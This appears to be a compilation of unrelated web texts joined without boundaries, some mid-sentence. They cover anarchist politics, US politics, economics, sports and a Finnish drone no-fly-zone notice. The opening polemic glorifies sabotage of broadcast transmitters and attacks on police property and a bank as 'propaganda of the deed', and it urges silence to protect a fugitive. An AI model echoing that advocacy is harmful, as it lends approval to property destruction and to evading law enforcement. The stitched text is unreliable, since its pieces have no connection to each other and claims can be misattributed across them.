Irony aside, this'magical thinking' is the heritage of an Anarchism while failed to outgrow the Marxist dogma of historically (pre-)determined 'ripe conditions' which are supposedly both recognisable and necessary before any meaningful insurgency can commence, if at all. Whoever acts before 'their' time must be isolated and denounced. Tomorrow's revolutionary activity is today's “criminal damage”. And just like for pro-industrial Marx, come that “mass uprising” you'd better be “taking control” of whatever means of production you're already chained to rather than wreck it! In other words, this is the disembodied ghost of Anarchism against the living spirit of anarchy.
That there is no “quick and simple answer” to whether destructive attack on the State or capitalist system here and now is “legitimate”, according to Bristol AFed's retrospective musings, is all the more ludicrous in the context of their online chronicle of (symbolic) backing for violent but safely distant struggles going on overseas. From Turkey to Ferguson, the streets are burning and Bristol AFed are ready to shake a banner in support. However when the mass rioting erupted in England, August 2011, in circumstances not dissimilar to the latest well-known police killings in the US and igniting – imagine that! - even parts of Bristol for the third time that year, the blogroll was tellingly silent. (Indeed a proposal was raised in a post-riots activist circle by a'syndicalist comrade' to send a letter denouncing the disorder to the Bristol Evening Post newspaper headquarters – which itself had been extensively damaged by anarchists days before in the uprising, shortly after printing photos of wanted riot suspects.) Regardless of their desire for a mass which can be whipped up and “organised” into a patient and disciplined revolutionary body, it maybe surprises some anarchists that many exploited (yes, including quite a few Bristol AFed would consider “working class”) obviously feel little need for “legitimacy” granted from on high by a paternalistic, external patron.
It's all very well for Bristol AFed to dutifully testify in their post-mortem blog post on the interview that “Anarchism is a movement of the working class and the oppressed, not of experts and politicians.” Well, through their choice of medium and timing they take the mantle of both experts and politicians – this was even noted online on a page of their fellow “libertarian communists”. Apparently Channel 4 have released an amount more of the interview online following their television broadcast, as a clip entitled What Do Anarchists Actually Believe In? – seems like you were mistaken if you thought anarchy was precisely the absence of a 'party line'.
A person's practice is anarchistic (anti-political, if you like) not only due to the words they articulate their ideas through, but more importantly due to the methods by which they express them, as theory-in-practice above hollow propaganda – or rather, as propaganda of the deed. Hence in the past while some filled the BBC airwaves with political chatter as the accepted voice of Anarchism, others knocked out the corporation's radio towers by cover of night in Bedminster Down, Dundry Hill and Bathampton – in the last case also taking down Channel 4 and other television in the area (all above also documented in Since The Bristol Riots). And yet now in the pre-election media scrum, one can find “Anarchism” on the shelf just like another faction.
“One turns one's ideas over to the masters of “communication” to be masticated into more opinions in the ideological marketplace. One gives the reality of one's life over to these experts in separation to be turned into 60-second images of isolated events. One turns the activity of communication over to those whose specialty is the one way “communication” of devitalized, pre-digested non-ideas and non-events that create social consensus. And then one claims about how badly one was represented in the media. Why did one choose to be represented at all? The choice to accept media representation is no less an acceptance of delegation than voting or unionism. The rejection of delegation, so central to an anarchist and insurrectional perspective, includes the refusal to deal with the media on its own terms.”
Caught In The Web Of Deception
Of course it would be misleading to portray all individuals within the anarchist-communist trend in the UK, however questionable their ideas remain to some, as willing to deploy the same backhanded approach as a few in Bristol AFed chose regarding attacks. An alternative perspective was outlined not long ago in Confessions Of A Civil Anarchist, hosted by the comrades of RabbleLND, to use one example. Another approach exists for who disagrees, one which doesn't publicly feed the media-police strategy nor gloss over real differences – silence. There are plenty of pressing social questions and anarchic approaches which can be communicated and explored in their own right without need of explicit comparison to 'bad anarchists' (the Bristol action groups seem to have tried exactly this unless someone can point to a case otherwise), that are both more dignified and more sensible when repression is heavy in the air again. By 'communicated', is meant exactly that – opening human interaction, addressed directly to one another and not via representation in the capitalist press.
On the topic of words best left unsaid, there is one last part of the Bristol anarchist/activist collaboration with the media that needs addressing: people discussing the activity and personality of anyone specifically being pursued by the police. When it comes to those in clandestinity, they themselves should be the ones to decide if and what of these details to make public, not anyone loose-lipped and slack-brained enough to fall into conversation with a reporter. Instead interviewees have hastened to tell who is “nice” but would “involve” themselves in “quite a few things” (Bristol AFed to Channel 4), “lovely... but committed to the cause” (an anonymous “friend” to the Guardian), and around the time that the warrant was first issued an article was even put up online by one activist listing an alleged resume of activity areas over the years!
The theoretical well-meaning probably behind these declarations isn't being brought into question here. But what does it help? Quite aside from whether such talk unnecessarily adds an image of credence to the police's propaganda or not (who have been described as attributing a so-called “centre” to an in reality de-centralised point of reference – the Informal Anarchist Federation), this is another totally weak base for one's solidarity. What about when a comrade is arrested or persecuted who is not 'pleasant' to hang out with, who we are not on friendly terms with or who is 'unknown'? In fact these are the least important facts to bear in consideration if we value solidarity over popularity, if we don't want to create a minor celebrity and their onlookers but instead describe a comrade amongst others who is facing repression that could target anyone who the State decides upon. Rather, if solidarity is considered from the point of view of continuation, of complicity, the more pertinent questions might be: does one support the decision that was made? Do they denounce the repression regardless? Do they recognise a part of themselves in any aspect of the disorder which formed the context of that repression, in this case, i.e. during the August 2011 uprising? Can they place the situation of the non-cooperative person in question within an ongoing struggle between authority and the unruly, regardless of who said/did/thought what?
It's here where we'll see if our solidarity can be found, if there's anything to'stay solid' with. So far these questions do not seem to be informing the latest statements being made in Bristol, and those statements are in any case directed to a totally inappropriate forum, the press. But in our own groups, by counter-information, or with those we encounter when communication can flourish more freely, we can reference any words that a fugitive comrade has chosen to openly put forward about their situation; we can discreetly offer support to those who were close and are feeling the loss; and we have the content of the action of which they are accused to keep alive and extend by discussing (even critically) - although necessarily separated from any presumption of 'who did what' or any notions of 'innocence/guilt'. And thus the struggle in question continues despite and/or in direct opposition to the repression (in Bristol's case, the birthday demo at the Evening Post, the disruption at the Serious Crime Squad headquarters, the solidarity statement by Person(s) Unknown and by some former band-mates, the repeated attacks on police property and on the bank as well as the additional times when specifying which (other) out |
St Patrick’s Athletic in the EA SPORTS Cup Final and Keegan hinted at wanting another league game next week, so the Tribesmen could build on the Longford result.
“I probably would’ve liked the momentum to continue. It seems that when we get some time off, we slow down a bit but I’m hoping in the cup final in front of over 4000 supporters, we’ll be up for the challenge and it’s something to look forward to.
“Hopefully all of the lads came through the Longford game without injuries and we will hope to get two weeks of quality training under our belts in preparation for it. I’ve never won a cup at professional level, it will be my first. I’m relishing the occasion and we’re all hoping that Galway will come out in its thousands for us, just like they did for the hurlers.”President says roots of civil war go unquestioned as he lauds ‘big-hearted’ Andrew Jackson, who was ‘very angry’ about a conflict years after his death
Donald Trump has expressed confusion as to why the American civil war took place and claimed that President Andrew Jackson, who died 16 years before the war started, “was really angry” about the conflict.
'If I had my gun on me, I'd shoot him': the civil war over statues in New Orleans Read more
In an interview published on Monday the US president also said Jackson, a slaveholder who led a relocation and extermination campaign against Native Americans, “had a big heart”.
On Monday night, Trump sought to clarify his remarks, arguing in a tweet that Jackson had predicted the civil war and would have prevented it had he not died 16 years prior.
Donald J. Trump (@realDonaldTrump) President Andrew Jackson, who died 16 years before the Civil War started, saw it coming and was angry. Would never have let it happen!
The president made his remarks in an interview with the Washington Examiner to mark his 100th day in office, which fell on Saturday. “It’s a very intensive process,” Trump told his interviewer of the presidency. “Really intense. I get up to bed late and I get up early.”
His remarks about Jackson and the civil war appeared to arise from a discussion of a painting of the seventh president that Trump moved into the Oval Office after his inauguration. Trump has called Jackson “an amazing figure in American history – very unique so many ways” and said that he identifies with his populist forebear.
In March he visited the Hermitage, Jackson’s home in Nashville, Tennessee, which was partly built by slaves, and was pictured saluting at the former president’s grave.
“I mean, had Andrew Jackson been a little later, you wouldn’t have had the civil war,” Trump told the Examiner’s Salena Zito. “He was a very tough person, but he had a big heart.
“He was really angry that he saw what was happening with regard to the civil war. He said, ‘There’s no reason for this.’ People don’t realize, you know, the civil war – if you think about it, why? People don’t ask that question, but why was there a civil war? Why could that one not have been worked out?”
The civil war was fought over slavery – the enslavement in the United States of African Americans – and related territorial, economic and cultural struggles. Jackson died in 1845. The first shot was fired by forces of the secessionist, slaveholding states on Fort Sumter in Charleston, South Carolina, on 12 April 1861.
Defenders of Trump’s creative approach to history argued on Monday that the president was referring to a successful effort by Jackson in the 1830s to put down a secessionist threat. Nothing in Trump’s statement, however, indicates knowledge of the earlier episode, which was not part of the civil war.
Trump’s statements drew expressions of extreme disbelief and consternation online. Many scholars noted that the investigation of the civil war’s roots was one of the richest veins in all of US historiography.
“Footnote for non-US readers,” tweeted the Guardian contributor Sarah Churchwell, a professor of American literature at the University of London. “There are probably as many books about the origins of our Civil War as about the origins of world war II.”Today is obviously a great and historic moment for President Obama, who decided today to follow the Prospect's Jamelle Bouie's advice and openly favor same-sex marriage. The effects are primarily symbolic, but it's still a good thing that he decided to match his excellent policy record on LBGT issues with the correct position on a crucial civil-rights issue.
One question that is sure to come up is whether this decision will harm President Obama's chance of re-election. I'm sure some members of Obama's political team were urging him to maintain the incoherent mess of a position he nominally took before today. This is, for reasons I discussed in the context of LBJ last week, certainly a serious question. Romney winning the 2012 election would be a disaster for LBGT rights, starting with the fact that this would probably result in Antonin Scalia being to the left of the median Supreme Court justice. Particularly since Obama has done pretty much all that is within his power to advance marriage equality in policy terms, if supporting same-sex marriage would make a Romney victory more likely, his unwillingness to openly support same-sex marriage is defensible (like LBJ's nominal pre-1957 opposition to civil rights).
But I don't think there's any reason to believe that Obama doing the right thing today will help Romney in November. It's important to remember that Obama and Romney were substantially different on gay and lesbian rights before this afternoon. To believe that Romney will benefit significantly from Obama's embrace of same-sex marriage rights, you would have to believe that there's a group of voters who 1) care enough about same-sex marriage to make it their top priority in a federal election, but 2) are willing to ignore Obama's pro-LBGT rights record as long as he doesn't nominally support same-sex marriage. The number of people who fit into this class is too trivial to be worth worrying about. It's likely that some-risk adverse advisers cited the argument that same-sex marriage cost John Kerry the election in 2004. But there's no evidence that this is true. Given that same-sex marriage is significantly more popular now than it was eight years ago, it's even more unlikely that same-sex marriage would damage Obama now.
Obama embracing same-sex marriage was the right thing to do, and there's no reason to believe that it will be politically damaging. Presidential elections generally don't turn on social issues and it's hard to imagine that 2012 will be an exception (even if we assume that Obama's position is a net negative, which is possible but hardly self-evident).Given official statistics are not available, we use changes in nighttime light intensity, measured by satellites, to estimate to what extent the war has destroyed the economy, and whether any recovery can be observed since the Minsk II agreements.
Correct measurement of economic performance is difficult enough in peaceful times and in scenarios, in which reliable economic indicators are available. However, when the necessary data is missing or when its reliability is far from clear, assessing the degree of economic activity – even in the most crude of forms – becomes a significant challenge. And yet, such situations are very frequent, apply to many countries and regions and become most evident at times of military conflicts when data collection is far from a top priority. In the context of the Ukrainian conflict an example of indirectly estimating changes in economic performance can be found in Talavera & Gorodnichenko (2016) who focus on measures of the degree of price integration in the so called Luhansk and Donetsk National Republics (LNR/DNR). In addition, there are various articles using anecdotal evidence to illustrate the economic losses in the East of Ukraine. For example, BBC, 2015 mentions an estimate by the Ukrainian Ministry of Economy that by mid 2015, 50% to 80% of jobs were lost in the so called Luhansk and Donetsk National Republics, compared to the pre-war situation. Knowing the economic situation in the East is important both to assess the economic viability of the so called Luhansk and Donetsk National Republics (LNR/DNR) as well as to assess the likely humanitarian situation in the East.
An alternative indirect way to examine the intensity of economic activity is to use measures based on satellite night time light intensity images. Nighttime light intensity is closely related to electricity consumption, which often has been used as an indicator of economic activity (e.g. Arora and Lieskovsky, 2014). Nighttime light intensity has been used to assess economic activity in sub-Saharan Africa (Henderson et al., 2012), the impact of the crisis in Syria (Li and Li, 2014) or to study how elected politicians favour their own regions worldwide (Hodler and Raschky, 2014). Henderson et al. (2012) find that among low- and middle income countries, a one percent change in light roughly corresponds to a one percent change in income [1].
In this note we use nighttime light intensity to measure economic activity in Eastern Ukraine since the outbreak of the war in the East of Ukraine in April 2014 [2]. As a reference point we use the nighttime light intensity in March, 2014, prior to the outbreak of violence in the East of Ukraine, and we focus on Ukraine’s capital Kyiv and a number of big and small cities in Eastern Ukraine, which we know have been heavily affected by the conflict. In table 1, we compare the light intensity at several points in time (May, 2014; August, 2014; January, 2015; March, 2015; March, 2016) to the light intensity in March, 2014 in these selected cities [3].
Figure 1 presents sample images of nighttime illumination for Kyiv, Donetsk and Luhansk in March, 2014, 2015 and 2016. We can see that between March 2014 and 2015, in the case of Donetsk and Luhansk, both the surface area lit as well as the measured light intensity significantly decreased, while there is very little change in the case of Kyiv. A similar picture emerges in other cities that were not directly affected by the war, such as, for example Zaporizhia, Dnipropetrovsk and Kharkiv (see Table 1). While, as in Kyiv, there are ups and downs in terms of measured nighttime light intensity, by and large, the level of economic activity remains fairly similar over time.
The situation is clearly different in Donetsk and Luhansk, the two major occupied towns. Nighttime light intensity in Donetsk is about half of the level it was before the outbreak of violence in the East of Ukraine. Luhansk fares even worse – light intensity as measured in March 2015 and 2016 is roughly a third of the initial level (Table 1).
Date May 2014 August 2014 January 2015 March 2015 March 2016 versus March 2014 Kyiv 1.04 0.99 0.77 1.01 0.80 Kharkiv 1.06 1.02 1.60 1.67 0.74 Zaporizhia 1.18 1.16 1.11 1.14 0.86 Dnipropetrovsk 1.39 1.39 1.48 1.52 1.04 Sloviansk 0.63 0.71 0.77 0.66 0.48 Kramatorsk 0.67 0.75 0.87 0.91 0.72 DNR/LNR Luhansk 0.93 0.16 0.33 0.34 0.29 Donetsk 1.00 0.60 0.72 0.45 0.45 Ilovaisk 1.00 0.54 0.26 0.36 0.32 Debaltseve 1.13 0.22 0.15 0.03 0.09
The numbers in the table are ratios of light intensity, comparing a given point in time to March 15, 2014. Hence, the number 1 suggest no change, numbers over 1 suggest improvements, numbers below 1 suggest decreases in economic activity.
Ilovaisk and Debaltseve, two cities where major battles took place and which are now under control of the so called DNR/LNR, clearly have suffered a lot and are still far from recovering. Illovaisk is at about a third of its original level of light intensity, while Debaltseve is at less than a tenth (!) of the level in 2014. It is thus clear that economic recovery in these areas takes a long time, and that this is also true for the government controlled areas. This is illustrated by the fact that cities such as Sloviansk and to a lesser extent Kramatorsk are also still far away from their pre-conflict level of light intensity.
Conclusion
The above analysis of changes in nighttime light intensity data leads to two important conclusions. First, the impact of the war in Eastern Ukraine on the level of economic activity in the area is sizeable and varies considerably across towns. Levels of nighttime light intensity are at 30 to 50% of their pre-war level in the big cities and at only a tenth of their pre-war level in some smaller cities. Using the Henderson et al. (2012) one to one ratio of changes in nighttime light intensity and economic development, this suggest the economic activity in the Donbas region has similarly dropped in economic terms to 30 to 50% of the pre-war level for the big cities and to only a tenth of the pre-war level for some smaller cities.
Second, there has been no sign of economic recovery in the region since the Minsk I and II agreements. Even though military activity in the Donbas region has decreased compared to the period April 2014-February 2015, the economy – at least as measured by the intensity of lights – has not been improving and the economic situation of the Donbas population remains very far from what it used to be before the war.
Notes
[1] The elasticity of growth of lights emanating into space with respect to income growth is close to one (p. 1025) [2] We use version 1 nighttime monthly data from the Visible Infrared Imaging Radiometer Suite (VIIRS) Day/Night Band (DNB) generated by the Earth Observation Group at NOAA National Geophysical Data Center and made publically available for download. [3] Given the specificity of light intensity measures, we focus on changes between periods rather than levels because light intensity is computed as the sum of radiance over a selected area, and hence the level of intensity depends on the scale of the area. For comparisons over time, we always use the same geographic area. It is important to remember that these changes are proxies only since changes in light intensity can be sensitive to weather conditions over time. Thus, to be able to make informative judgement on the basis of these data, we focus on the broad picture that emerges from the data, rather than on specific values.
References
1. Arora, Vipin and Jozef Lieskovsky (2014), “Electricity Use as an Indicator of U.S. Economic Activity”, U.S. Energy Information Administration Working Paper. 2. BBC (2015) – Ukrainian Service, ‘ One year after the referendum DNR/LNR: Economic Losses’, May122015. 3. Henderson, J.Vernon,Adam Storeygard, and David N. Weil (2012), Measuring Economic Growth from Outer Space, American Economic Review 2012, 102: 994–1028 4. Hodler, Roland, and Paul A. Raschky (2014), Regional Favouritism. Quarterly Journal of Economics 129: 995-1033. 5. Talavera, Oleksandr and Yuriy Gorodnichenko (2016), How’s DNR Economy Doing, VoxUkraine April 7, 2016 6. Xi Li & Deren Li (2014) Can night-time light images play a role in evaluating the Syrian Crisis?, International Journal of Remote Sensing, 35: 6648-6661. By: Tom Coupe (Kyiv School of Economics), Michał Myck (CENEA, Poland), Mateusz Najsztub (CENEA, Poland)The reviews are in on the leaked Geithner plan, and we are going to do something different here for a change. We are not going to listen to people who have been wrong about everything, and instead are going to listen to people who have been more right than wrong. The administration might learn from this approach. First up, Yves at Naked Capitalism:
And notice the utter dishonesty: a competitive bidding process will protect taxpayers. Huh? A competitive bidding process will elicit a higher price which is BAD for taxpayers! Dear God, the Administration really thinks the public is full of idiots. But there are so many components to the program, and a lot of moving parts in each, they no doubt expect everyone’s eyes to glaze over.
Calculated Risk:
With almost no skin in the game, these investors can pay a higher than market price for the toxic assets (since there is little downside risk). This amounts to a direct subsidy from the taxpayers to the banks. Oh well, I’m sure Geithner will provide details this time …
Krugman:
The Geithner plan has now been leaked in detail. It’s exactly the plan that was widely analyzed — and found wanting — a couple of weeks ago. The zombie ideas have won. The Obama administration is now completely wedded to the idea that there’s nothing fundamentally wrong with the financial system — that what we’re facing is the equivalent of a run on an essentially sound bank. As Tim Duy put it, there are no bad assets, only misunderstood assets. And if we get investors to understand that toxic waste is really, truly worth much more than anyone is willing to pay for it, all our problems will be solved.
If this were a medical emergency, it appears it would look something like this:
The Illness- reckless and irresponsible betting led to huge losses
The Diagnosis- Insufficient gambling.
The Cure- a Trillion dollar stack of chips provided by the house.
The Prognosis- We are so screwed.
If these guys are right, this will be the undoing of the Obama administration. Better enjoy this four years, libs.Does Inherited Wealth Really Help the Economy? A Reply to Greg Mankiw
Writing for the Upshot section of the New York Times, Harvard economist Greg Mankiw has weighed in on the Pikkety debate. He accepts Pikkety’s scenario of ever increasing inequality as at least a “provocative speculation,” if not established fact, but then asks, So what? What is wrong with inequality and inherited wealth?
Nothing, says Mankiw. In fact, he maintains that if we consider not only the direct effects on the family but also the indirect effects on the broader economy, inherited wealth is good not just for the rich but for the rest of us as well:
When a family saves for future generations, it provides resources to finance capital investments, like the start-up of new businesses and the expansion of old ones. Greater capital, in turn, affects the earnings of both existing capital and workers. Because capital is subject to diminishing returns, an increase in its supply causes each unit of capital to earn less. And because increased capital raises labor productivity, workers enjoy higher wages. In other words, by saving rather than spending, those who leave an estate to their heirs induce an unintended redistribution of income from other owners of capital toward workers.
This may be good textbook economics, but it should not be allowed to pass without three major caveats.
The link between productivity and wages is broken
Yes, in the textbook model of labor markets, higher productivity, other things being equal, leads to higher wages, but in recent decades, other things no longer seem to be equal. The once-tight link between higher productivity and higher wages seems to be broken. As shown by the following chart, drawn from a study by Lawrence Mishel for the Economic Policy Institute, the disconnect began long before the Great Recession. Wages did track productivity closely up to 1970, but they have stagnated since then even though productivity has continued to grow.
As Mishel points out, much of the growing gap between productivity and hourly compensation of nonsupervisory workers is explained by the growing share of capital income in total income. His data show that the share of capital income (interest, dividends, profits, rent and so on) is now at its highest level in 70 years. It is not exactly clear why this is happening—various writers point to globalization, the decline of labor unions, technological change, the falling real value of the minimum wage, the rise of hedge funds and other financial innovations, and other factors. Whatever the cause, the result is the opposite of what we would expect from Mankiw’s “other things being equal” argument, which is that higher saving plus diminishing returns to capital should lower capital’s share of total income.
Slack in the economy
The second caveat is that Mankiw’s argument is fully valid only for an economy at full employment. If the economy is in a slump (if I may bring in some more textbook economics) an increase in the average saving rate will lower total spending and the slump will worsen. The U.S. economy has been weak for several years now. Given that the rich save a higher share of their income than the poor, it is plausible that increasing inequality of income is prolonging the slow recovery, not hastening its end.
Economists usually discuss policies regarding income distribution and those regarding the business cycle separately, but we might speculate about how to combine the two. For example, we might impose an income tax surcharge on high incomes, including investment income, that varied directly with the output gap—high taxes in a slump, lower taxes in a boom.
Taken in isolation, such a policy would be procyclical, but it could be made countercyclical by requiring that the proceeds of the surcharge go directly to fund infrastructure investment. The math is pretty simple: Assume that the marginal propensity to save is, say, 40 percent for high earners. If so, for every $100 million in extra taxes collected during a slump, you would lose $60 million in spending on yachts and premium bourbon but gain $100 million of spending on roads and bridges. The result would provide a net economic stimulus. During a boom, the signs would reverse, reducing the danger of overheating the economy.
I’m only half-serious about this. Tax and spending lags would reduce the effectiveness of the policy, and it would admittedly make tax planning difficult for the high earners. Still, you can see the point—more income inequality is not automatically “good for the economy” when you take cyclical factors into account.
What policies are we comparing?
Third, according to Mankiw, when we consider matters from a policy perspective, we need to consider the indirect effects of inequality on the broader economy. Yes, but we need to ask, consider them in comparison to what?
Mankiw argues that saving helps the economy by encouraging investment, which raises productivity, and in turn, raises wages. We have already seen that the link between rising productivity and rising wages is weak, but for the sake of discussion, let’s stipulate that it is strong. Let’s also assume constant full employment, so that we don’t have to worry about excess saving or insufficient aggregate demand. That leaves us with the proposition that more saving is good—but is greater income inequality the best way to encourage saving?
Putting the question that way raises two problems. First, if the answer were yes, then what would be the optimal degree of inequality? The degree that maximizes saving might be even greater than we have now. The degree that maximizes wages might be lower. Even if inequality were the only factor affecting saving, it is not obvious the recent increases in inequality have moved us closer to, rather than farther from, the optimum.
More importantly, there are other ways to promote saving that would, arguably, be more effective in achieving higher productivity, wages, and growth. For example, reformers have suggested switching from income taxes to consumption taxes as a way to encourage saving. Alternatively, we could encourage saving by reforming our retirement system. I looked at some ways to do so in a post last year. One approach, proposed by William Gale of the Tax Policy Center, would be to replace the current tax deductibility of contributions to retirement plans with a refundable tax credit that would be deposited directly in an individual’s retirement account. Another idea would be for the Treasury to issue special “R-bonds” that would carry a guaranteed positive real interest rate if deposited in a qualifying retirement account.
The above proposals focus on personal saving. Instead, we might try to encourage business saving through appropriate reforms to the corporate income tax, including measures to encourage the repatriation of existing corporate savings so that they could be invested at home. We could also reform fiscal policy in ways that encouraged greater government saving and investment.
Any of these policies could, in principle, give us as much saving as we have with less inequality, or more saving with the inequality we have now. Raising inequality is not a necessary condition for more saving.
The bottom line
Mankiw wants us to regard income inequality and inherited wealth with gratitude:
Rising income inequality over the past several decades has meant meager growth in living standards for those near the bottom of the economic ladder, and one might worry that inherited wealth makes things worse. Yet standard economic analysis suggests otherwise... Those who have earned extraordinary incomes naturally want to share their good fortune with their descendants. Those of us not lucky enough to be born into one of these families benefit as well, as their accumulation of capital raises our productivity, wages and living standards.
I can’t agree. Even if inequality promotes saving, as he claims, the link between higher saving by the rich and higher living standards for average Americans is far more tenuous than he suggests. Furthermore, even if increased saving is an appropriate goal, raising income inequality seems a clumsy way of getting there.
By all means, let the rich save as much as they want and share their wealth with their descendants if they choose. But please, don’t try to pass off inequality as good public policy.GRAND FORKS, N.D. – Saturday's pivotal Big Sky Conference men's basketball tilt between North Dakota and Northern Arizona will be available for fans on a number of different viewing platforms. Using the high-definition feed from FOX Sports Arizona in conjunction with NAU Athletics, the game will also air live at 7:30 p.m. CT on FOX Sports North PLUS and be joined in progress on FOX College Sports Atlantic.
NAU's veteran play-by-play voice Mitch Strohman will handle the call, while Dave Brown will provide color analysis. Kara Hammer will report from courtside. Both teams enter this week with 8-6 Big Sky records and are tied for third in the league standings with only six games remaining in the regular season.
UND defeated NAU 84-68 at home in mid-January and earned a wild 81-79 comeback victory last season in their trip to Flagstaff and the Walkup Skydome.
UND opens the brief two-game road swing at Sacramento State on Thursday at 9 p.m. CT, while NAU will host Northern Colorado at 7:30 p.m. CT. The Bears are currently alone in second place at 9-5 – one game ahead of both UND and NAU. Sacramento State is among five league teams at 7-7 entering this weekend's play.
FOX Sports North PLUS is channel 339 for Midcontinent cable subscribers in the Grand Forks area and click here for a link to all other PLUS channel listings. Fans unable to get the game on television can watch NAU's HD stream at WatchBigSky.com.
— Go UND —No Drone Zone
Helsingissä keskustan alueella on kolme lentokieltoaluetta. Nämä koskevat kaikkea ilmailua, myös droneja. Kieltoalueet merkitään kesän 2017 aikana erityisillä kylteillä.
Helsingin keskustan lentokieltoalueet on perustettu vuonna 2015 yleisen järjestyksen ja turvallisuuden kannalta keskeisille alueille, mutta tieto alueiden olemassaolosta on ollut tähän asti huonosti saatavilla drone-lennättäjille. Kylttien asentamisen tavoitteena onkin lisätä tietoisuutta lennättäjien keskuudessa.
”Dronejen myynti on kasvanut valtavasti ja sen myötä myös harrastajien lukumäärät. Myös turistit käyttävät droneja pääasiassa kuvaamiseen. Harrastajat ja turistit eivät yleensä tunne ilmailun sääntelyä eivätkä siten välttämättä tiedä ilmailun kieltoalueista”, kertoo Trafin johtava asiantuntija Jukka Hannola: ”Vastaavanlaisia no drone zone -kylttejä on jo käytössä mm. USAssa ja Singaporessa. Suomessakin kyltit ovat englannin kielisiä, koska alueilla liikkuu paljon myös ulkomaalaisia turisteja.”
”Tällaisia lentokieltoalueita voidaan perustaa silloin, kun se on tarpeellista pelastustehtävien, valtion johtamisen, maanpuolustuksen, rajavalvonnan tai varautumisen kannalta tärkeiden kohteiden ja alueiden yläpuolella”, tarkentaa Hannola.
Lennättäminen kieltoalueella voi johtaa dronen takavarikkoon
Poliisi valvoo lentokieltojen noudattamista normaalin partioinnin yhteydessä. Lisäksi käytössä on teknisiä apuvälineitä valvonnan suorittamiseen. Jos alueella lennättää ilman asianmukaista poikkeuslupaa, voi seurauksena olla lainmukainen rangaistus, ja lisäksi poliisi voi takavarikoida lennokin.
”Poliisi tulee jatkossa puuttumaan lentokieltoalueilla tapahtuviin luvattomiin lennätyksiin aiempaa tarkemmin”, kertoo ylikomisario Sami Hätönen Poliisihallituksesta.
Lennättäminen sallittua erillisellä poikkeusluvalla
Trafi voi erityisistä syistä myöntää luvan dronejen lennättämiseen ilmailun kieltoalueilla. Kieltoalueita ovat Meilahden, Munkkiniemen ja Kruununhaan lisäksi Luonnonmaa, Kilpilahti, Loviisa, Olkiluoto ja Hahikivenniemi.
Lupa voidaan myöntää kausiluonteisena maksimissaan kuluvan kalenterivuoden ajaksi. ”Tällaisia kausilupia voidaan myöntää esim. mediataloille Kruununhaan alueelle, jossa on usein erilaisia yleisötapahtumia Senaatintorilla ja Kauppatorilla”, kertoo Hannola.
”Yksittäisiä lupia myönnetään silloin, kun lennättäjälle tulee yksittäinen tarve lennättämiseen kieltoalueella. Yksittäiset luvat myönnetään aina tapauskohtaisesti”, tarkentaa Hannola.
Kausilupaa tulee hakea Trafilta viimeistään 7 arkipäivää ja yksittäistä lupaa viimeistään 3 arkipäivää ennen aiottua toiminnan aloitusta kieltoalueella.
Poikkeusluvan saaneiden lisäksi tietyt viranomaiset, esimerkiksi poliisi, saavat lennättää miehittämättömiä ilma-aluksiaan lentokieltoalueilla.
Kylttien asentaminen on Trafin, Poliisihallituksen, Helsingin poliisin ja Helsingin kaupungin yhteishanke.
Kieltomerkeillä merkatut alueet ovat ilmailun kieltoalueita, jotka on asetettu valtioneuvoston asetuksella 614/2015.
Kieltomerkit
Lisätietoja
Trafi
johtava asiantuntija Jukka Hannola, jukka.hannola@trafi.fi, p. 029 5347 063, 040 687 0456. Twitterissä https://twitter.com/JukkaHannola
Poliisihallitus
ylikomisario Sami Hätönen, sami.hatonen@poliisi.fi, p. 029 5483 428, 040 836 4895. Twitterissä www.twitter.com/samihatonenRed Bull boss Christian Horner says McLaren's Jenson Button is the biggest threat to his team this season, but warned that there is more to come from defending champion Sebastian Vettel.
Horner also named Lewis Hamilton of McLaren, Ferrari's Fernando Alonso and Kimi Raikkonen of Lotus as contenders.
But he insisted Red Bull's back-to-back champion Vettel will take some beating.
"We are yet to see the best from him," Horner told BBC Radio 5 live. "He will evolve and get stronger."
Button, the 2009 world champion, finished second to Vettel in the 2011 season, a distant 122 points behind the German.
BBC's live TV Grands Prix 15 April: China
China 13 May: Spain
Spain 27 May: Monaco
Monaco 24 June: Europe
Europe 8 July: Britain
Britain 2 September: Belgium
Belgium 23 September: Singapore
Singapore 14 October: Korea
Korea 4 November: Abu Dhabi
Abu Dhabi 25 November: Brazil
With the 2012 season poised to start in Australia on 18 March, Horner is predicting a closer contest for the title this time round.
"Seb had an unbelievable year and in the end dominated significantly," he said. "But there are some big opponents out there, with six world champions on the grid.
"Lewis is going to be pushing hard this year, Jenson had a great year last year, you can't rule out Fernando because he is a world-class driver and it will be interesting to see how Kimi fares on his return."
Asked to pick out the strongest rival to Vettel and his team-mate Mark Webber, Horner responded: "Probably Jenson."
Horner said he was happy with Red Bull's car after they successfully trialled upgrades during pre-season testing in Barcelona.
"Those upgrades seem to be working OK and will certainly be on the car in Australia in 10 days' time," he said.
"I think we're set for a really fascinating season. Things move on so quickly and the running order at the end of last year doesn't guarantee it's going to be the running order at beginning of this year."Buy Photo Indiana Governor Mike Pence speaks to the Federalist Society, a non-profit group of attorneys, law students and public officials at the J.W. Marriott in downtown Indianapolis on Friday, June 13, 2014. (Photo: Matt Detrich/The Star)Buy Photo
Indiana's school voucher program is already the broadest in the nation — and now Gov. Mike Pence wants to provide even more money for vouchers.
In announcing his legislative agenda Thursday, Pence said he will ask state lawmakers to lift the cap on the dollar amount for vouchers and raise the cap on the choice scholarship tax credit program. He also proposed adding more funding for public charter schools.
"Together, these actions will make charters more available and more affordable, and make new choices available for many parents and their students," Pence said.
But the changes could also have a significant impact on the state budget and shift money away from traditional public schools.
"It's time to start debating the cost of these vouchers," said Indiana House Minority Leader Scott Pelath, D-Michigan City. "They want to funnel all the dollars to private institutions. If they're not going to slit the throats of those in public education, they certainly have the knife held there."
Pence said the goal is to increase by 100,000 the number of K-12 students in schools with a grade of B or better on the state's A-F school grading system.
"We do need to increase funding, but we need to do it the right way, the smart way," he said. "We need to fund excellence."
Indiana's voucher program is already the most expansive in the nation, allowing nearly 30,000 students to attend private schools using public money. Unlike programs in many other states, it is not limited to students at failing public schools.
Right now, vouchers for kindergarten through eighth grade are capped at $4,800. Brian Bailey, the governor's budget director, said lifting that cap would cost about $3.5 million.
The governor also wants to add a grant for charter schools to the state's education funding formula, though his budget staff said the amount would depend on the state revenue forecast due later this month.
Charter schools, which are privately operated, already receive the same per pupil state funding as public schools, but unlike public schools, they don't receive additional money for buildings or transportation.
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family, according to foundation and State Department records.”
The Hill confirms these numbers. Hillary scrutinized for arms sales at State and cites a new book by Peter Schweizer, Clinton Cash. The essential question raised, whether foreign governments sought to curry influence with the Clintons by making donations to the foundation, should be easily answered.
When the conflicts of the Clinton Foundation become too much for even MSNBC, the outrage no longer can be said to be part of a “right-wing conspiracy” against the wicked witch.
